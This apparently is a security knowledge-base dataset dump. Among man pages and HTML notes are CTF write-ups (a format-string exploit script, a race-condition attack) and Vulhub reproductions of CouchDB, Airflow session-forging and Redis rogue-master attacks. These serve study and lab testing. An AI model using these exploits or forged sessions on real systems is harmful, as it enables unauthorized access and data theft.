text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
<?php
error_reporting(0);
define('FROM_INDEX', 1);
$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\./', $op))
die('hacker');
ob_start('ob_gzhandler');
function page_top($op) {
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>PixelShop :: <?= htmlentities(ucfirst($op)); ?></title>
<link rel="stylesheet" href="css/style.css" type="text/css">
</head>
<body>
<div id="header">
<a href="?op=home" class="logo"><img src="images/logo.png" alt=""></a>
</div>
<div id="body"><ul><li>
<?php
}
function fatal($msg) {
?><div class="article">
<h2>Error</h2>
<p><?=$msg;?></p>
</div><?php
exit(1);
}
function page_bottom() {
?>
</li></ul></div>
<div id="footer">
<div>
<p>
<span>2016 © Plaid Parliament of Pixels.</span>All rights reserved. If it doesn't work, try Chrome or Firefox.
</p>
</div>
</div>
</body>
</html><?php
ob_end_flush();
}
register_shutdown_function('page_bottom');
page_top($op);
if(!(include $op . '.php'))
fatal('no such page');
?>
|
sec-knowleage
|
# echooo
Binary Exploitation, 300 points
## Description:
> This program prints any input you give it. Can you leak the flag?
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
char flag[64];
char *flag_ptr = flag;
// Set the gid to the effective gid
gid_t gid = getegid();
setresgid(gid, gid, gid);
memset(buf, 0, sizeof(flag));
memset(buf, 0, sizeof(buf));
puts("Time to learn about Format Strings!");
puts("We will evaluate any format string you give us with printf().");
puts("See if you can get the flag!");
FILE *file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
while(1) {
printf("> ");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
return 0;
}
```
## Solution:
It's pretty easy to spot the format string attack even without the program pointing us directly at it.
```c
fgets(buf, sizeof(buf), stdin);
printf(buf);
```
To make things even easier, the stack contains a pointer to the flag (`char *flag_ptr`), and it's conveniently stored close to our buffer.
According to IDA's stack analysis, the flag pointer is just 3 DWORDs apart from the buffer:
```
-000000000000009C var_9C dd ?
-0000000000000098 flag_ptr dd ?
-0000000000000094 var_94 dd ?
-0000000000000090 file dd ?
-000000000000008C buf db ?
```
So, if we find the location of the buffer, we can easily find the pointer to the flag using a simple calculation.
We can find the buffer by sending a payload starting with "AAAA" and searching for it:
```console
root@kali:/media/sf_CTFs/pico/echooo# echo "AAAA%11\$x" | nc 2018shell3.picoctf.com 46960
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> AAAA41414141
```
We found it at offset 11. If we go back 3 DWORDs and dereference that pointer as a string, we will get the flag.
Putting it all together:
```python
from pwn import *
r = remote("2018shell3.picoctf.com", 46960)
def send_payload(payload):
log.debug("payload = %s" % repr(payload))
r.sendline(payload)
ret = r.recvuntil("> ")
return ret
r.recvuntil("> ")
format_string = FmtStr(execute_fmt=send_payload)
log.info("Format string offset: {}".format(format_string.offset))
payload = "%" + str(format_string.offset - 3) + "$s"
log.info("Payload: {}".format(payload))
print send_payload(payload)
```
Output:
```console
root@kali:/media/sf_CTFs/pico/echooo# python exploit.py
[+] Opening connection to 2018shell3.picoctf.com on port 46960: Done
[*] Found format string offset: 11
[*] Format string offset: 11
[*] Payload: %8$s
picoCTF{foRm4t_stRinGs_aRe_DanGer0us_a7bc4a2d}
>
[*] Closed connection to 2018shell3.picoctf.com port 46960
```
The flag: picoCTF{foRm4t_stRinGs_aRe_DanGer0us_a7bc4a2d}
|
sec-knowleage
|
DB_SECRET = "35C3_???"
DECRYPTED = "35C3_???"
DEV_NULL = "35C3_???"
LOCALHOST = "35C3_???"
LOGGED_IN = "35C3_???"
NOT_IMPLEMENTED = "35C3_???"
|
sec-knowleage
|
# CouchDB未授权访问漏洞
## 漏洞描述
CouchDB因配置不当可以未授权访问,被攻击者恶意利用。
攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意清空所有数据。
## 漏洞搭建
> https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/README.zh-cn.md
使用docker-compose启动。
```bash
cd couchdb/CVE-2017-12636/
docker-compose up -d
```
## 漏洞利用
访问5984端口,就可以看到版本信息。

访问`/_config`接口,可以看到couchDB配置信息。

|
sec-knowleage
|
# Apache Airflow Authentication Bypass (CVE-2020-17526)
[中文版本(Chinese version)](README.zh-cn.md)
Apache Airflow is an open source, distributed task scheduling framework. Although authentication is not required by default, but the administration can specify the `webserver.authenticate=True` to enable it.
In the version prior to 1.10.13, Apache Airflow uses a default session secert key, which leads to impersonate arbitrary user when authentication is enabled.
References:
- <https://lists.apache.org/thread/rxn1y1f9fco3w983vk80ps6l32rzm6t0>
- <https://kloudle.com/academy/authentication-bypass-in-apache-airflow-cve-2020-17526-and-aws-cloud-platform-compromise>
## Vulnerability Environment
Execute the following commands to start an airflow 1.10.10 server:
```bash
#Initialize the database
docker compose run airflow-init
#Start service
docker compose up -d
```
After the server is started, browse the `http://your-ip:8080` to see the login page of Apache Airflow. Yes, this server required authentication.
## Exploit
Firstly, browse the login page and get a session string from Cookie:
```
curl -v http://localhost:8080/admin/airflow/login
```

Then, use [flask-unsign](https://github.com/Paradoxis/Flask-Unsign) to crack the session key:
```
flask-unsign -u -c [session from Cookie]
```

Bingo, we got the valid session key `temporary_key`. Then, use this key to generate a new session whose `user_id` equals to `1`:
```
flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"
```

Finally, use this generated session to log in successfully:

|
sec-knowleage
|
binary = open('admin-tool', 'rb').read()
stream = open('stream.bin', 'rb').read()
def KSA(key):
keylength = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % keylength]) % 256
S[i], S[j] = S[j], S[i] # swap
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i] # swap
K = S[(S[j] - S[i]) % 256]
yield K
def RC4(key):
S = KSA(key)
return PRGA(S)
key = binary[0x2080:]
keylen = key.index(b'\x00')
key = key[:keylen]
cipher = binary[0x20c0:]
cipher = cipher[:0x70]
out = bytearray()
for b,k,s in zip(cipher, RC4(key), stream):
assert s^65 == k or s == b'\x00'
out.append(b^k)
print(out)
|
sec-knowleage
|
.TH quota 1 "Tue Jun 8 1993"
.SH NAME
quota \- 显示磁盘的使用和限额
.SH "总览 (SYNOPSIS)"
quota [
.B -guv | q
]
.br
quota [
.B -uv | q
] user
.br
quota [
.B -gv | q
] group
.SH "描述 (DESCRIPTION)"
.B Quota
显示 用户的 磁盘 使用情况 和 限额. 缺省功能 只显示 用户限额.
.LP
.TP
.B \-g
显示 用户所在组 的 组限额. 可选项(optional).
.TP
.B \-u
和 缺省情况 一样.
.TP
.B \-v
显示 文件系统上 的 限额, 即使 没有 占用 空间.
.TP
.B -q
简洁的 信息, 只 显示 超出 限额 的 文件系统.
.LP
同时指定
.B \-g
和
.B \-u
既显示 用户限额, 也显示 该用户 的 组限额.
.LP
只有 超级用户 可以 使用
.B \-u
选项 和
.B user
参数 察看 其他用户 的 限额. 普通用户 可以 使用
.B \-g
选项 和
.B group
参数 察看 用户所在组 的 限额.
.LP
.B \-q
选项 优先于
.B \-v
选项.
.LP
.B Quota
报告
.B /etc/fstab
中 列出的 全部 文件系统 上 的 限额. 如果 文件系统 是 挂载的 NFS,
Quota 调用 服务器 上的 rpc.rquotad, 以便 获取 相关信息.
如果
.B quota
返回 非零值, 表明 在 某些 文件系统 上 超出了 限额.
.SH "文件 (FILES)"
.B quota.user
位于 文件系统 根目录, 存放 用户限额
.br
.B quota.group
位于 文件系统 根目录, 存放 组限额
.br
.B /etc/fstab
用于 查找 文件系统 的 名称和位置
.SH "另见 (SEE ALSO)"
quotactl (2),
fstab (5),
edquota (8),
quotacheck (8),
quotaon (8),
repquota (8)
.SH "[中文版维护人]"
.B 徐明 <xuming@users.sourceforge.net>
.SH "[中文版最新更新]"
.BR 2003/05/13
.SH "《中国Linux论坛man手册页翻译计划》"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# 元素与属性
## 元素
> 元素是 HTML 文档的基本单位
- 元素以开始标签起始
- 元素以结束标签终止
- 元素的内容是开始标签与结束标签之间的内容
- 某些元素具有空内容(empty content)
- 空元素在开始标签中进行关闭(以开始标签的结束而结束)
- 大多数元素可拥有属性
### 格式
> 元素 = 开始标签 + 内容 + 结束标签
<开始标签>受标签影响的内容</结束标签>
**小贴士**:自闭合标签比较特殊,它总是单独出现,以`/>`结尾
### HTML 空元素
1. 没有内容的 HTML 元素被称为空元素。空元素是在开始标签中关闭的
2. `<br>`就是没有关闭标签的空元素(`<br>`标签定义换行)
3. 在 XHTML、XML 以及未来版本的 HTML 中,所有元素都必须被关闭
4. 在开始标签中添加斜杠,比如`<br />`,是关闭空元素的正确方法,HTML、XHTML 和 XML 都接受这种方式
### 自闭合标签
常用的自闭和标签
#### 水平线
`<hr />`:水平线标记,块级元素,表示文档内容变化
#### 注释
`<!-- 注释内容 -->`:为HTML文档添加注释,可以跨越多行
#### 换行
`<br />`:用于换行,行内元素。浏览器渲染页面时,会移除源代码中多余的空格和空行,所有连续的空格或空行都会被算作一个空格显示。如果需要显示多个空格,使用多个` `表示
#### 图片
```html
<img src="图片地址" width="宽度" height="高度" alt="图片无法加载显示" />
```
1. 显示图片,内联元素
2. "src"属性指向图片地址(本地地址或网络URL)
3. "width"和"height"属性分别控制宽和高
### HTML嵌套
大多数的HTML 元素是可以嵌套的(可以包含其他 HTML 元素),HTML 文档就是由嵌套的 HTML 元素构成的,嵌套规则如下:
1. 块级元素能嵌入内联元素和部分块级元素,内联元素只能嵌入内联元素
2. 块级元素不能放在标签 p 里面
3. li 标签可以包含 div 标签,因为 li 和 div 标签都是装载内容的容器
4. 有几个特殊的块级元素只能包含内嵌元素,不能再包含块级元素(h1~h6、p、dt)
5. 块级元素与块级元素平级、内嵌元素与内嵌元素平级
```html
<div><span></span><p></p></div>
<!-- span是行内元素,p是块级元素,所以这个是错误的嵌套 -->
<div><span></span><a></a></div> <!-- 这才是对的 -->
```
#### 内联元素和块级元素
HTML标签有两类:
##### 块级元素
**特点**:
总是在新行上开始,高度、行高以及顶和底边距都可控制,宽度缺省是它的容器的100%,除非设定一个宽度
**功能**:
主要用来搭建网站架构、页面布局、承载内容
**主要包括**:
div、h1~h6、address、blockquote、center、dir、dl、dt、dd、fieldset、
form、hr、isindex、menu、noframes、noscript、ol、p、pre、table、ul ...
##### 行内元素
**特点**:
和其他元素都在一行上,高、行高及顶和底边距不可改变,宽度就是它的文字或图片的宽度,不可改变
**功能**:
用于加强内容显示,控制细节,例如:加粗、斜体等等
**主要包括**:
span、a、abbr、acronym、b、bdo、big、br、cite、code、dfn、em、font、i、img、input、kbd、label、q、s、samp、select、small、strike、strong、sub、sup、textarea、tt、u、var ...
#### 关于内联元素和块级元素的文章
- W3C 块元素:[点击查看](http://www.w3school.com.cn/tags/index.asp)
- 博客园 行元素与块元素:[点击查看](http://www.cnblogs.com/Jackie0714/p/4923639.html)
- 网易 行内元素和块级元素:[点击查看](http://blog.163.com/shiliang_001/blog/static/130521806201241862714652)
- 网易 块级元素与行级元素:[点击查看](http://gkecenter.blog.163.com/blog/static/181380305201291745234195/)
- Web前端开发 块级元素与行级元素:[点击查看](http://www.css88.com/archives/646)
**注意**:
1. 使用小写标签
2. 不要忘记结束标签
3. 自闭合标签不要忘记写`/`,养成良好的习惯
## 属性
1. HTML 标签可以拥有属性。属性提供了有关 HTML 元素的更多的信息
2. 属性总是以名称/值对的形式出现,比如:`name="value"`
3. 属性总是在 HTML 元素的开始标签中规定
### 通用的属性
属性 | 描述
-------------------- | ----------------------------------------------------
class | 规定元素的一个或多个类名(引用样式表中的类)
id | 规定元素的唯一 id
style | 规定元素的行内 CSS 样式
title | 规定有关元素的额外信息
accesskey | 规定激活元素的快捷键(`Alt+acc` or `Shift+Alt+acc`)
tabindex | 规定元素的 tab 键次序
dir | 规定元素中内容的文本方向
**注意**:
1. 推荐属性使用小写
2. 并且始终为属性值添加引号,一般使用双引号
3. 如果值本身含有双引号,需要使用单引号
### 参考
- W3C HTML标签:[点击查看](http://www.w3school.com.cn/tags/index.asp)
- W3C全局属性:[点击查看](http://www.w3school.com.cn/tags/html_ref_standardattributes.asp)
|
sec-knowleage
|
fc
===
显示历史列表中的命令或修改指定的历史命令并执行。
## 概要
```shell
fc [-e ename] [-lnr] [first] [last]
fc -s [pat=rep] [command]
```
## 主要用途
- 显示历史列表中的命令。
- 编辑并重新执行历史列表的命令。
## 选项
```shell
-e ename 选择使用的编辑器,默认调用次序为环境变量`FCEDIT`、环境变量`EDITOR`、`vi`。
-l 列出而不是编辑。
-n 列出时不输出行号(需配合-l选项)。
-r 倒序列出命令,最近执行的先列出(需配合-l选项)。
-s [pat=rep] [command] command(未指定时为最后执行的命令)将在pat替换为rep后重新执行。
```
## 参数
first:可选;可以是字符串(以该字符串开头的最新命令)、数字(历史列表索引,负数代表当前命令号的偏移);未指定时设置为前一个命令并且偏移量为-16(最近的16条命令)。
last:可选;可以是字符串(以该字符串开头的最新命令)、数字(历史列表索引,负数代表当前命令号的偏移);未指定时设置为参数first。
## 返回值
返回成功或执行命令的状态,当错误出现时返回非0值。
## 例子
替换命令参数:
```shell
# 列出 ~ 目录
ls ~
# 替换 ~ 为 / ,替换后列出根目录,
fc -s ~=/
```
显示最近使用的10条历史命令:
```shell
[root@localhost ~]# fc -l -10
1039 type -a grep
1040 export
1041 history 10
1042 ulimit -a
1043 shopt
1044 help ls
1045 help env
1046 help short
1047 help shopt
1048 showkey -a
```
编辑第1040条历史命令:
```shell
[root@localhost ~]# fc 1040
```
### 注意
1. 关闭终端后,历史列表将被写入历史文件`~/.bash_history`。
2. 环境变量`FCEDIT`的值为`fc`默认的编辑器。
3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
|
sec-knowleage
|
## Julian Cohen (recon, 100p, 883 solves)
### PL Version
`for ENG version scroll down`
Bardzo krótkie zadanie. Wyszukiwanie Juliana Cohena, zawężone do tematyki CTFów pozwala bardzo szybo trafić na jego twittera (@HockeyInJune) gdzie wprost umieścił flagę w jednym z wpisów `https://twitter.com/HockeyInJune/status/641716034068684800`

`flag{f7da7636727524d8681ab0d2a072d663}`
### ENG Version
Very short challenge. Searching for Julian Cohen, filtered for CTF quickly gave us his twitter account (@HockeyInJune) where he plainly placed the flag in one of the posts: `https://twitter.com/HockeyInJune/status/641716034068684800`

`flag{f7da7636727524d8681ab0d2a072d663}`
|
sec-knowleage
|
# untrustworthy (pwn 451p, 3 solved)
> Don't trust everything you see. There are secrets hidden in plain sight.
## Exploitation
1. Spawn `worker` by calling `server.exe` API exposed via Microsoft RPC
2. Copy pre-existing `fail_plugin.dll` to a temporary (writable) file
3. Send `auth::PluginBasedAuth` request over `worker` pipe using the temporary file as plugin
4. Attempt to modify the temporary file between `sha256` validation and `LoadLibraryA` by exploiting `worker` race-condition on plugin loading
The modification is to return success from `auth` plugin API.
5. Receive `auth` response over `worker` pipe
The exploit repeats steps 2..5, to improve chance of winning the race-condition.
Without any tuning, the 100 iterations are sufficient to reliably receive the flag.
Full exploit is attached [here](exploit.c).
|
sec-knowleage
|
'\"
'\" Copyright (c) 1997 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: registry.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: registry.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH registry 3tcl 8.0 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
registry \- 操纵 Windows 注册表
.SH "总览 SYNOPSIS"
.sp
\fBpackage require registry 1.0\fR
.sp
\fBregistry \fIoption\fR \fIkeyName\fR ?\fIarg arg ...\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
\fBregistry\fR 包为操纵 Windows 注册表提供了一个通用的操作集。这个包实现了 Tcl 命令 \fBregistry\fR。只在 Windows 平台上支持这个命令。警告: 使用这个命令必须谨慎,因为一个被破坏了的注册表将导致你的系统进入不可用状态。
.PP
\fIKeyName\fR 是一个注册表键的名字。注册表键必须是下列一种形式之一:
.IP
\fB\e\e\fIhostname\fB\e\fIrootname\fB\e\fIkeypath\fR
.IP
\fIrootname\fB\e\fIkeypath\fR
.IP
\fIrootname\fR
.PP
\fIHostname\fR 指定任何有效的 Windows 主机名字,它导出了自己的注册表。\fIrootname\fR 组成部分必须是下列之一:
\fBHKEY_LOCAL_MACHINE\fR, \fBHKEY_USERS\fR,
.VS
\fBHKEY_CLASSES_ROOT\fR, \fBHKEY_CURRENT_USER\fR,
\fBHKEY_CURRENT_CONFIG\fR, \fBHKEY_PERFORMANCE_DATA\fR, or
\fBHKEY_DYN_DATA\fR.
\fIkeypath\fR 可以是一个或更多
.VE
注册表键的名字, 用反斜杠字符(\fB\\fR)分隔。
.PP
\fIOption\fR 指示对注册表键名要做什么。可接受一个唯一的 \fIoption\fR 的缩写。有效的选项有:
.TP
\fBregistry delete \fIkeyName\fR ?\fIvalueName\fR?
.
如果提供了可选的 \fIvalueName\fR 参数,则从注册表中删除 \fIkeyName\fR 下的这个指定的值。如果省略了可选的 \fIvalueName\fR,则删除这个指定的键和在注册表层次中位于其下的子键或值。如果不能删除这个键则生成一个错误。如果这个键不存在,这个命令没有作用。
.TP
\fBregistry get \fIkeyName valueName\fR
.
返回在键 \fIkeyName \fR下面的值 \fIvalueName\fR 所关联的数据。如果这个键或值不存在,则生成一个错误。 返回数据的格式的详情请参见下面的 SUPPORTED TYPES 支持的类型。
.TP
\fBregistry keys \fIkeyName\fR ?\fIpattern\fR?
.
如果未指定 \fIpattern\fR,返回 \fIkeyName \fR的所有子键的名字的一个列表。如果指定了 \fIpattern\fR,只返回匹配 \fIpattern\fR 的那些名字。使用与 \fBstring\fR 相同的匹配规则确定匹配。如果指定的 \fIkeyName\fR 不存在,则生成一个错误。
.TP
\fBregistry set \fIkeyName\fR ?\fIvalueName data \fR?\fItype\fR??
.
如果未指定 \fIvalueName\fR,若键 \fIkeyName\fR 不存在则建立之。如果指定了 \fIvalueName\fR,如果需要的话,建立键 \fIkeyName\fR 和值 \fIvalueName\fR。\fIvalueName\fR 的内容被设置成 \fIdata\fR,用 \fItype \fR指示其类型。如果未指定 \fItype\fR,假定为类型 \fBsz\fR。数据和类型参数的详情请参见下面的 SUPPORTED TYPES 支持的类型。
.TP
\fBregistry type \fIkeyName valueName\fR
.
返回在键 \fIkeyName \fR中的值 \fIvalueName\fR 的类型。可能的类型的更多信息请参见下面的SUPPORTED TYPES 支持的类型。
.TP
\fBregistry values \fIkeyName\fR ?\fIpattern\fR?
.
如果未指定 \fIpattern\fR,返回 \fIkeyName \fR的所有值的名字的一个列表。如果指定了 \fIpattern\fR ,只返回匹配 \fIpattern\fR 的那些名字。使用与 \fBstring\fR 相同的匹配规则确定匹配。
.SH "支持的类型 SUPPORTED TYPES"
在注册表中一个键之下的每个值包含特定类型的一些数据,这些数据存储为特定于类型的表示。\fBregistry\fR 命令在这种内部表示和可以被 Tcl 脚本操作的表示之间进行转换。在多数情况下,数据被简单的返回为一个 Tcl 字符串。类型为数据指示目的用途,但不实际改变表示。对于一些类型,\fBregistry\fR 命令以不同的形式返回数据以易于操纵。注册命令识别下列类型:
.TP 17
\fBbinary\fR
.
注册值包含任意二进制数据。数据在 Tcl 中被精确表示,包括所有嵌入的 null。
.TP
\fBnone\fR
.
注册值包含未定义类型的任意二进制数据。数据在 Tcl 中被精确表示,包括所有嵌入的 null。
.TP
\fBsz\fR
.
注册值包含一个 null 终结的字符串。数据在 Tcl 中被表示为一个字符串。
.TP
\fBexpand_sz\fR
.
注册值包含一个 null 终结的字符串,其中包含到环境变量的未展开的引用(unexpanded reference),引用是通常的 Windows 式样(例如,"%PATH%")。数据在 Tcl 中被表示为一个字符串。
.TP
\fBdword\fR
.
注册值包含一个小端(little-endian) 32 位数。数据在 Tcl 中被表示为一个十进制串。
.TP
\fBdword_big_endian\fR
.
注册值包含一个大端(big-endian) 32 位数。数据在 Tcl 中被表示为一个十进制串。
.TP
\fBlink\fR
.
注册值包含一个符号连接。数据在 Tcl 中被精确表示,包括所有嵌入的 null。
.TP
\fBmulti_sz\fR
.
注册值包含 null 终结的字符串的一个数组。数据在 Tcl 中被表示为字符串的一个列表。
.TP
\fBresource_list\fR
.
注册值包含一个设备-驱动器资源列表。数据在 Tcl 中被精确表示,包括所有嵌入的 null。
.PP
除了上面列出的用符号命名的类型之外,用对应于系统接口返回的类型代码的一个32位整数标识未知类型 。在这种情况下,数据在 Tcl 中被精确表示,包括所有嵌入的 null。
.SH "移植要点 PORTABILITY ISSUES"
只能在 Windows 中使用注册表命令。
.SH "关键字 KEYWORDS"
registry
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/10/29
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Redis 4.x/5.x 主从复制导致的命令执行
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
参考链接:
- <https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf>
## 环境搭建
执行如下命令启动redis 4.0.14:
```
docker compose up -d
```
环境启动后,通过`redis-cli -h your-ip`即可进行连接,可见存在未授权访问漏洞。
## 漏洞复现
使用[这个POC](https://github.com/vulhub/redis-rogue-getshell)即可直接执行命令:

|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH REALPATH 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
realpath \- 输出经过解析的文件路径
.SH 概述
\fBrealpath\fP [\fI\,选项\/\fP]... \fI\,文件列表\/\fP...
.SH 描述
.\" Add any additional description here
.PP
输出经过解析的绝对文件名;文件名除最后部分以外的所有部分都必须存在
.TP
\fB\-e\fP, \fB\-\-canonicalize\-existing\fP
路径中的所有组成部分必须存在
.TP
\fB\-m\fP, \fB\-\-canonicalize\-missing\fP
路径的各个部分不必须存在,不存在者将被视为目录
.TP
\fB\-L\fP, \fB\-\-logical\fP
在符号链接前解析“..”部分
.TP
\fB\-P\fP, \fB\-\-physical\fP
解析遇到的符号链接(默认)
.TP
\fB\-q\fP, \fB\-\-quiet\fP
隐藏大多数错误信息
.TP
\fB\-\-relative\-to\fP=\fI\,指定目录\/\fP
输出相对于指定目录所解析的路径
.TP
\fB\-\-relative\-base\fP=\fI\,指定目录\/\fP
路径在指定目录之下则输出相对它的路径,否则输出绝对路径
.TP
\fB\-s\fP, \fB\-\-strip\fP, \fB\-\-no\-symlinks\fP
不要扩展符号链接
.TP
\fB\-z\fP, \fB\-\-zero\fP
使每行输出以 NUL 字符结束,不添加换行符
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 Padraig Brady 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
\fBreadlink\fP(1), \fBreadlink\fP(2), \fBrealpath\fP(3)
.PP
.br
